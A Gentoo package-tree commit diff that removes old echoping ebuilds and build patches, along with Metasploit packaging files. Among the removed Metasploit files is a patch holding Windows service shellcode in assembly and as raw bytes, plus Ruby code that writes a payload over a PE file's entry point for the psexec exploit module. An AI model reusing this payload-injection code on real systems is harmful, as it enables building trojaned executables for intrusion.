diff options
Diffstat (limited to 'net-analyzer')
40 files changed, 1000 insertions, 823 deletions
diff --git a/net-analyzer/echoping/Manifest b/net-analyzer/echoping/Manifest index a5a95da72e..25fef68719 100644 --- a/net-analyzer/echoping/Manifest +++ b/net-analyzer/echoping/Manifest @@ -1,2 +1 @@ -DIST echoping-6.0.2.tar.gz 1660983 SHA256 1dfa4c45bf461b2379ff91773ed7136176e2abac9e85c26bc9654942b5155eac SHA512 ca9a38c3be9da283e73a7a1b13ab003dca6a2ee317e2961325f3e6803f132ae2f5e4206d946564915c573f21f9c3e9641d61f6b3ae5806bbaa92c2f30f1e5e22 WHIRLPOOL 9140d20d82ed1c38df91d8905fb678c1ca717af518b374c3379db285662d55e70c8da5bb227c4f47a4c34f649c686037636c024a38d1109cd939f6974b274e15 DIST echoping-6.0.2_p434.tar.gz 74568 SHA256 152a4a9d2a3962fa8cb95eeb29b5d22a7039d4408f5ba22286259856f095baf7 SHA512 1b4f5f1ea6ba000c558cab3b8e86758d6c539d8cd237620000d837b468861a177ac733441c885eb8ec1c35b49baa33a82e34e3f8b14b05429a075b72233d5799 WHIRLPOOL cae10459766311ded4f6459e519461fb91de7dd9429679927c3955a5a9b09b9b9a9706947b3a5c1495805367c91cf2035d3154a3ff180241782deec304eb8aaf diff --git a/net-analyzer/echoping/echoping-6.0.2-r2.ebuild b/net-analyzer/echoping/echoping-6.0.2-r2.ebuild deleted file mode 100644 index 58c1021106..0000000000 --- a/net-analyzer/echoping/echoping-6.0.2-r2.ebuild +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright 1999-2014 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -EAPI="4" - -inherit eutils autotools - -DESCRIPTION="Small program to test performances of remote servers" -HOMEPAGE="http://echoping.sourceforge.net/" -SRC_URI="mirror://sourceforge/echoping/${P}.tar.gz" -LICENSE="GPL-2" - -SLOT="0" -KEYWORDS="amd64 ~hppa x86" -IUSE="gnutls http icp idn priority smtp ssl tos postgres ldap" -RESTRICT="test" - -RDEPEND="idn? ( net-dns/libidn ) - postgres? ( dev-db/postgresql ) - ldap? ( net-nds/openldap ) - ssl? ( - gnutls? ( >=net-libs/gnutls-1.0.17 ) - !gnutls? ( >=dev-libs/openssl-0.9.7d ) - )" -DEPEND="${RDEPEND} - >=sys-devel/libtool-2" - -REQUIRED_USE="gnutls? ( ssl )" - -DOCS=( README AUTHORS ChangeLog DETAILS NEWS TODO ) - -src_prepare() { - # bug 279525: - epatch "${FILESDIR}/${P}-gnutls.patch" - - epatch "${FILESDIR}/${P}-fix_implicit_declarations.patch" - - rm -f ltmain.sh - cp /usr/share/libtool/config/ltmain.sh . - local i - for i in . plugins/ plugins/*/; do - pushd "${i}" > /dev/null - eautoreconf - popd > /dev/null - done -} - -src_configure() { - econf \ - --config-cache \ - --disable-ttcp \ - $(use_enable http) \ - $(use_enable icp) \ - $(use_with idn libidn) \ - $(use_enable smtp) \ - $(use_enable tos) \ - $(use_enable priority) \ - $(usex gnutls $(use_with gnutls) $(use_with ssl)) -} diff --git a/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild b/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild index f96eb281ba..f0c6bf4d1c 100644 --- a/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild +++ b/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild @@ -32,7 +32,6 @@ DOCS=( README AUTHORS ChangeLog DETAILS NEWS TODO ) src_prepare() { epatch "${FILESDIR}"/${PN}-6.0.2_p434-fix_implicit_declarations.patch - cp /usr/share/libtool/config/ltmain.sh . eautoreconf } diff --git a/net-analyzer/echoping/echoping-6.0.2_p434.ebuild b/net-analyzer/echoping/echoping-6.0.2_p434.ebuild index 5a5cb1b8e2..4245e74c12 100644 --- a/net-analyzer/echoping/echoping-6.0.2_p434.ebuild +++ b/net-analyzer/echoping/echoping-6.0.2_p434.ebuild @@ -32,7 +32,6 @@ DOCS=( README AUTHORS ChangeLog DETAILS NEWS TODO ) src_prepare() { epatch "${FILESDIR}"/${PN}-6.0.2_p434-fix_implicit_declarations.patch - cp /usr/share/libtool/config/ltmain.sh . eautoreconf } diff --git a/net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch b/net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch deleted file mode 100644 index 1b0bce8504..0000000000 --- a/net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch +++ /dev/null @@ -1,20 +0,0 @@ ---- echoping.h -+++ echoping.h 2009-09-15 00:55:43.000000000 +0200 -@@ -198,6 +198,7 @@ - #endif - /* util.c */ - char *random_string (); -+char *to_upper(); - void tvsub (); - void tvadd (); - void tvavg (); ---- plugins/ldap/ldap.c -+++ plugins/ldap/ldap.c -@@ -9,6 +9,7 @@ - #include "../../config.h" - #include "config.h" - #endif -+#define LDAP_DEPRECATED 1 - #include <ldap.h> - - const char *request = NULL; diff --git a/net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch b/net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch deleted file mode 100644 index b5be2d9897..0000000000 --- a/net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch +++ /dev/null @@ -1,41 +0,0 @@ -Date: 2009-06-30 14:26 -Sender: bortz - -The patch by ametzler seems indeed to work (thanks to him). I've committed -it (r426) and will make a new release soon. - -http://sourceforge.net/tracker/index.php?func=detail&aid=2811861&group_id=4581&atid=104581 - - ---- trunk/SRC/configure.ac 2009/06/30 14:18:15 425 -+++ trunk/SRC/configure.ac 2009/06/30 14:19:07 426 -@@ -92,14 +92,21 @@ - AC_ARG_WITH(gnutls, - [ --with-gnutls[=DIR] SSL/TLS crypt support (needs GNU TLS), the argument DIR should not be necessary],dnl - [if test "$withval" != "no"; then -- AC_DEFINE(GNUTLS,,[Crypto (TLS) support]) -- GNUTLS=1 -- CPPFLAGS="${CPPFLAGS} `libgnutls-config --cflags`" -- LDFLAGS="${LDFLAGS} `libgnutls-config --libs`" -- if test "$withval" != "yes"; then -- GNUTLSROOT=$withval -- LDFLAGS="${LDFLAGS} -L$GNUTLSROOT/lib" -- CPPFLAGS="${CPPFLAGS} -I$GNUTLSROOT/include" -+ if test "$withval" = "yes"; then -+ PKG_CHECK_MODULES([LIBGNUTLS], [gnutls >= 1.0.0], -+ [ -+ echo "GnuTLS found" -+ AC_DEFINE(GNUTLS,,[Crypto (TLS) support]) -+ GNUTLS=1 -+ CFLAGS="$CFLAGS $LIBGNUTLS_CFLAGS" -+ LIBS="$LIBS $LIBGNUTLS_LIBS" -+ ],) -+ else -+ AC_DEFINE(GNUTLS,,[Crypto (TLS) support]) -+ GNUTLS=1 -+ GNUTLSROOT=$withval -+ LDFLAGS="${LDFLAGS} -L$GNUTLSROOT/lib -lgnutls" -+ CPPFLAGS="${CPPFLAGS} -I$GNUTLSROOT/include" - fi - fi], - dnl Default: disable it diff --git a/net-analyzer/metasploit/Manifest b/net-analyzer/metasploit/Manifest index 7b154fdb30..d2acafb1f9 100644 --- a/net-analyzer/metasploit/Manifest +++ b/net-analyzer/metasploit/Manifest @@ -1,2 +1 @@ -DIST framework-2.7.tar.gz 5800216 SHA256 516952772aaa8982628460b927c9119850925f870903c5a131a9c9f0390cf77f SHA512 a65740c81e6c711e6661170ec0dd87919cad6c4aa3aaac08fdaa72b4825be4bea28ec09c78f818ddab7660f5b485b13f87e3175b43c625319ce89b044a40f2a0 WHIRLPOOL f309608e30488484b24555fec84e65ed0dcbeba62a69e6ec23c507dbc0fcf720551a795e2a0793886fcd38d3a9b160819c864720155f58f274577b0246f05946 DIST metasploit-4.11.4_p2015090201.tar.gz 35211994 SHA256 1254dbb3e8cf33c7a6c8c701a0be13f78bbd2234503e636f1afacf88676aeea2 SHA512 b96c9735ef579b5f98d1fd7176f91bb1710d263a19d3ff891877df8e341baa1749d5fdce9825a19d9ecbe162b72ebcd11336d4d7884e066f4e199baaff8b4085 WHIRLPOOL 875db5df25112736dd62ec1195080d2567a670cf3a770e787b70c364c6b30b43bf906f7ba35901ff367ce940b02af7b17ae135693a28ff5fca9fc05038132ae2 diff --git a/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch deleted file mode 100644 index 4f2e353ecb..0000000000 --- a/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch +++ /dev/null @@ -1,219 +0,0 @@ -diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm ---- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100 -+++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100 -@@ -0,0 +1,64 @@ -+;-----------------------------------------------------------------------------; -+; Author: agix (florian.gaultier[at]gmail[dot]com) -+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -+; Size: 137 bytes -+;-----------------------------------------------------------------------------; -+ -+[BITS 32] -+; Input: EBP must be the address of 'api_call'. -+ -+push byte 0x0 -+push 0x32336970 -+push 0x61766461 -+push esp -+push 0x726774c -+call ebp ;load advapi32.dll -+push 0x00454349 -+push 0x56524553 -+mov ecx, esp ;ServiceTableEntry.SVCNAME -+lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain -+push 0x00000000 -+push eax -+push ecx -+mov eax,esp -+push 0x00000000 -+push eax -+push 0xCB72F7FA -+call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry) -+push 0x00000000 -+push 0x56A2B5F0 -+call ebp ;call ExitProcess(0) -+pop eax ;SvcCtrlHandler -+pop eax -+pop eax -+pop eax -+xor eax,eax -+ret -+cld ;SvcMain -+call me -+me: -+pop ebp -+sub ebp, 0xd6 ;ebp => hashFunction -+push 0x00464349 -+push 0x56524553 -+mov ecx, esp ;SVCNAME -+lea eax, [ebp+0xc9];SvcCtrlHandler -+push 0x00000000 -+push eax -+push ecx -+push 0x5244AA0B -+call ebp ;RegisterServiceCtrlHandlerExA -+push 0x00000000 -+push 0x00000000 -+push 0x00000000 -+push 0x00000000 -+push 0x00000000 -+push 0x00000000 -+push 0x00000004 -+push 0x00000010 -+mov ecx, esp -+push 0x00000000 -+push ecx -+push eax -+push 0x7D3755C6 -+call ebp ;SetServiceStatus RUNNING -\ No newline at end of file -diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm ---- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100 -+++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100 -@@ -0,0 +1,17 @@ -+;-----------------------------------------------------------------------------; -+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -+; Version: 1.0 (28 July 2009) -+; Size: 189 bytes + strlen(libpath) + 1 -+; Build: >build.py single_service_stuff -+;-----------------------------------------------------------------------------; -+ -+[BITS 32] -+[ORG 0] -+ -+ cld ; Clear the direction flag. -+ call start ; Call start, this pushes the address of 'api_call' onto the stack. -+%include "./src/block/block_api.asm" -+start: ; -+ pop ebp ; pop off the address of 'api_call' for calling later. -+%include "./src/block/block_service.asm" -\ No newline at end of file -diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb ---- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100 -+++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100 -@@ -402,36 +402,86 @@ - - case opts[:exe_type] - when :service_exe -+ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - max_length = 8192 - name = opts[:servicename] - -- if name -- bo = pe.index('SERVICENAME') -- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo -- pe[bo, 11] = [name].pack('a11') -+ if not name -+ name = Rex::Text.rand_text_alpha(7) - end -- -- if not opts[:sub_method] -- pe[136, 4] = [rand(0x100000000)].pack('V') -+ #code_service could be encoded in the future -+ code_service = -+ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + -+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + -+ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + -+ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + -+ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + -+ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + -+ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + -+ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + -+ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + -+ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + -+ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" + -+ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + -+ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + -+ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" + -+ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" + -+ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + -+ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + -+ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5" -+ -+ pe_header_size=0x18 -+ section_size=0x28 -+ characteristics_offset=0x24 -+ virtualAddress_offset=0xc -+ sizeOfRawData_offset=0x10 -+ -+ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size -+ sections_table_offset = exe.rva_to_file_offset(sections_table_rva) -+ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset) -+ -+ sections_header = [] -+ exe._file_header.v['NumberOfSections'].times { |i| -+ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]] -+ } -+ -+ #look for section with entry point -+ sections_header.each do |sec| -+ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0] -+ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0] -+ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0] -+ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData -+ #put this section writable -+ characteristics|=0x80000000 -+ newcharacteristics = [characteristics].pack('L') -+ pe[sec[0],newcharacteristics.length]=newcharacteristics -+ end - end -+ -+ #put the shellcode at the entry point, overwriting template -+ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code -+ - when :dll - max_length = 2048 - when :exe_sub - max_length = 4096 - end - -- bo = pe.index('PAYLOAD:') -- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo -+ if opts[:exe_type] != :service_exe - -- if (code.length <= max_length) -- pe[bo, code.length] = [code].pack("a*") -- else -- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" -- end -+ bo = pe.index('PAYLOAD:') -+ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo - -- if opts[:exe_type] == :dll -- mt = pe.index('MUTEX!!!') -- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt -+ if (code.length <= max_length) -+ pe[bo, code.length] = [code].pack("a*") -+ else -+ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" -+ end -+ -+ if opts[:exe_type] == :dll -+ mt = pe.index('MUTEX!!!') -+ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt -+ end - end - - return pe -@@ -463,7 +513,7 @@ - - def self.to_win32pe_service(framework, code, opts={}) - # Allow the user to specify their own service EXE template -- set_template_default(opts, "template_x86_windows_svc.exe") -+ set_template_default(opts, "template_x86_windows.exe") - opts[:exe_type] = :service_exe - exe_sub_method(code,opts) - end -diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb ---- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100 -+++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100 -@@ -153,7 +153,7 @@ - # Disconnect from the ADMIN$ - simple.disconnect("ADMIN$") - else -- servicename = rand_text_alpha(8) -+ servicename = rand_text_alpha(7) - - # Upload the shellcode to a file - print_status("Uploading payload...") diff --git a/net-analyzer/metasploit/files/metasploit.icon b/net-analyzer/metasploit/files/metasploit.icon deleted file mode 100644 index 87af020fdf..0000000000 --- a/net-analyzer/metasploit/files/metasploit.icon +++ /dev/null @@ -1,224 +0,0 @@ -/* XPM */ -static char *metasploit[] = { -/* columns rows colors chars-per-pixel */ -"48 48 170 2 ", -" c #000000", -". c #0B0B0B", -"X c #131313", -"o c #1C1C1C", -"O c #251B0D", -"+ c #2C2112", -"@ c #2C241C", -"# c #081933", -"$ c #061F3B", -"% c #07203C", -"& c #09223C", -"* c #232323", -"= c #2D2D2D", -"- c #353535", -"; c #383838", -": c #0C2141", -"> c #0F264C", -", c #0F284D", -"< c #072755", -"1 c #082754", -"2 c #062855", -"3 c #0E2C57", -"4 c #072858", -"5 c #0D2F5C", -"6 c #033A6E", -"7 c #1A3166", -"8 c #043C72", -"9 c #2F456F", -"0 c #2A4174", -"q c #314774", -"w c #314A75", -"e c #424242", -"r c #444A5F", -"t c #545454", -"y c #5B5B5B", -"u c #414B60", -"i c #515A6F", -"p c #4B6975", -"a c #416679", -"s c #46697B", -"d c #4D6D7C", -"f c #636363", -"g c #686868", -"h c #727272", -"j c #7B7B7B", -"k c #B37777", -"l c #C76852", -"z c #F26E40", -"x c #C77A6F", -"c c #DA8D75", -"v c #023986", -"b c #002F99", -"n c #043296", -"m c #043898", -"M c #0038A0", -"N c #094089", -"B c #1C4583", -"V c #194997", -"C c #1E4E9F", -"Z c #215192", -"A c #225A9F", -"S c #3D5C98", -"D c #3B6F8A", -"F c #0D43AD", -"G c #1F4EA2", -"H c #1F4EAA", -"J c #1753BB", -"K c #1852B9", -"L c #224FA8", -"P c #2450A4", -"I c #2E55A0", -"U c #2755AD", -"Y c #2956AE", -"T c #3464A5", -"R c #2963BC", -"E c #466E81", -"W c #447082", -"Q c #6C739A", -"! c #4471B1", -"~ c #4873B6", -"^ c #4870BB", -"/ c #4D78BA", -"( c #0D53C3", -") c #1866C9", -"_ c #046EDB", -"` c #126FD4", -"' c #0C73DD", -"] c #3767C7", -"[ c #326AC2", -"{ c #3D75C4", -"} c #3574C8", -"| c #3B74C9", -" . c #3E79CC", -".. c #2F74D3", -"X. c #3B7BD0", -"o. c #006EE5", -"O. c #0479E5", -"+. c #0074E9", -"@. c #087EEC", -"#. c #1479E1", -"$. c #497AC7", -"%. c #447BCD", -"&. c #487FD2", -"*. c #5B84A8", -"=. c #3B82DA", -"-. c #0C86EF", -";. c #1F80E5", -":. c #1393F9", -">. c #1C99FB", -",. c #348FEC", -"<. c #3290E5", -"1. c #3491EB", -"2. c #2490F3", -"3. c #279EFD", -"4. c #3CA8FF", -"5. c #5394D2", -"6. c #758FC3", -"7. c #689AD3", -"8. c #7399D1", -"9. c #4090E6", -"0. c #4990E4", -"q. c #4694EB", -"w. c #559BED", -"e. c #4B9BF1", -"r. c #539FF3", -"t. c #45A4FD", -"y. c #47AAFA", -"u. c #56A0F4", -"i. c #5AA4F5", -"p. c #5CA6F8", -"a. c #56B5FD", -"s. c #71A3E1", -"d. c #65AFFB", -"f. c #66B7FF", -"g. c #68B7FF", -"h. c #6CC2FF", -"j. c #70C9FF", -"k. c #7CD7FF", -"l. c #7ED9FF", -"z. c #838383", -"x. c #8B8B8B", -"c. c #939393", -"v. c #9D9D9D", -"b. c #B18A8B", -"n. c #9193AB", -"m. c #A3A3A3", -"M. c #AEAEAE", -"N. c #B2B2B2", -"B. c #BDBDBD", -"V. c #8299C5", -"C. c #8899C3", -"Z. c #81C2FF", -"A. c #8BCEFF", -"S. c #86D7FF", -"D. c #8BD1FF", -"F. c #84DCFF", -"G. c #8ADFFF", -"H. c #94D6FF", -"J. c #9DDAFE", -"K. c #8DE1FF", -"L. c #97E0FF", -"P. c #C3C3C3", -"I. c #CBCBCB", -"U. c #D3D3D3", -"Y. c #DCDCDC", -"T. c #E3E3E3", -"R. c #ECECEC", -"E. c #F4F4F4", -"W. c #FFFFFF", -"Q. c None", -/* pixels */ -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.8 V P G G G G G G G G G P G G G G G G G G G G G G G G G G G G G G G G G G L V 6 Q.Q.Q.Q.Q.", -"Q.v N A | &.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.| } .%. .} | %. .=.} A Z B Q.Q.Q.", -"Q.F K ..q.u.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.i.p.u.e.u.p.p.w.w.s.8.$.] P 5 Q.Q.", -"Q.R ) _ ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' #.d.Z.u.;.,.j.g.1./ k x ~ ( n 4 : Q.", -"Q.` ' +.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.f.D.t.@.2.A.g.1.! l z Q J b 2 % Q.", -"Q.O.-.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.>.h.D.a.3.4.D.j.y.5.b.c n.[ M 2 & Q.", -"Q.<.a.F.l.k.k.k.k.k.l.l.k.k.k.k.k.k.k.k.k.l.k.k.k.k.k.k.k.k.l.K.K.G.l.F.L.K.F.S.H.J.L.0.m 1 & Q.", -"Q.7.*.p d d d d d d d d d d d d d d d d d d d d d d d d d d d s a s d s a s s E D D W T G 3 $ Q.", -"Q.C.r 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 % Q.", -"Q.V.u c.R.W.Y. 7 Y 3 $ Q.", -"Q.V.u g W.W.W.Y. 7 Y 3 $ Q.", -"Q.V.u M.W.W.R.X 7 Y 3 $ Q.", -"Q.V.u T.W.W.E.m.R.E.B.m.W.E.I.- . j U.E.W.P.e h E.W.W.W.c. . 7 Y 3 $ Q.", -"Q.V.u W.W.W.W.W.W.W.W.W.W.W.W.R.X v.W.W.W.W.W.R. E.W.W.W.W.E. E.c.* 7 Y 3 $ Q.", -"Q.V.u W.W.W.W.W.W.W.W.W.W.W.W.W.f E.W.W.R.X P.f h W.W.W.E.y W.W.W.N.e 7 Y 3 $ Q.", -"Q.V.u W.W.W.E.= W.W.W.U.- W.W.W.v.P.W.W.W.U.- W.W.W.Y. o x.R.W.W.I.f . 7 Y 3 $ Q.", -"Q.V.u W.W.W.Y. W.W.W.I. W.W.W.B.* Y.W.W.W.W.j W.W.W.Y. . f U.W.W.R.z. 7 Y 3 $ Q.", -"Q.V.u W.W.W.Y. W.W.W.Y. W.W.W.U.g . f T.W.W.W.g W.W.W.Y. y W.W.W. 7 Y 3 & Q.", -"Q.V.u W.W.W.Y. W.W.W.Y.. W.W.W.R.W.t ; W.W.W.M. W.W.W.Y. e N.W.W.W.m. 7 Y 3 $ Q.", -"Q.V.u W.W.W.Y. W.W.W.Y.- W.W.W.Y.E.W.U.T.W.W.W.c. W.W.W.Y. . g U.W.W.R.z.o 7 Y 3 $ Q.", -"Q.V.u W.W.W.Y. W.W.W.U.m.W.W.W.P.c.W.W.W.W.W.E.* W.W.W.R. R.W.W.U.f . 7 Y 3 $ Q.", -"Q.V.u U.W.W.U. W.W.W.m.T.W.W.W.x.. c.R.W.E.N.= U.W.W.T. W.N.e 7 Y 3 $ Q.", -"Q.V.u * 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u 7 Y 3 $ Q.", -"Q.V.u . . . . . . . . . . . . . 7 Y 3 $ Q.", -"Q.6.i O @ @ @ @ + @ @ @ @ @ + @ @ @ @ @ @ @ @ @ @ @ @ @ + @ @ @ @ @ @ @ + @ @ @ @ @ + 0 H 3 & Q.", -"Q.^ S 9 w w w w q w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w q I G 3 $ Q.", -"Q.V V P C G C C C C P C C C C C P C C C C C C C C C C C C C C C C C C C C C C P A C P A B > $ Q.", -"Q.3 1 > , > > > > > > > > > > > > > > > > > > > > > > > > > , , > > > > > > > > > > > > > & : Q.", -"Q.Q.Q.Q.Q.# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.", -"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q." -}; diff --git a/net-analyzer/metasploit/files/msfrpcd-4.0-initd b/net-analyzer/metasploit/files/msfrpcd-4.0-initd deleted file mode 100644 index ad6bf25ba5..0000000000 --- a/net-analyzer/metasploit/files/msfrpcd-4.0-initd +++ /dev/null @@ -1,22 +0,0 @@ -#!/sbin/runscript -# Copyright 1999-2011 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -VERSION=4.0 -PIDFILE=/var/run/msfrpcd${VERSION}.pid - -start() { - ebegin "Starting msfrpcd${VERSION}" - start-stop-daemon --start --quiet --background \ - --exec /usr/lib/metasploit${VERSION}/msfrpcd \ - --pidfile ${PIDFILE} \ - 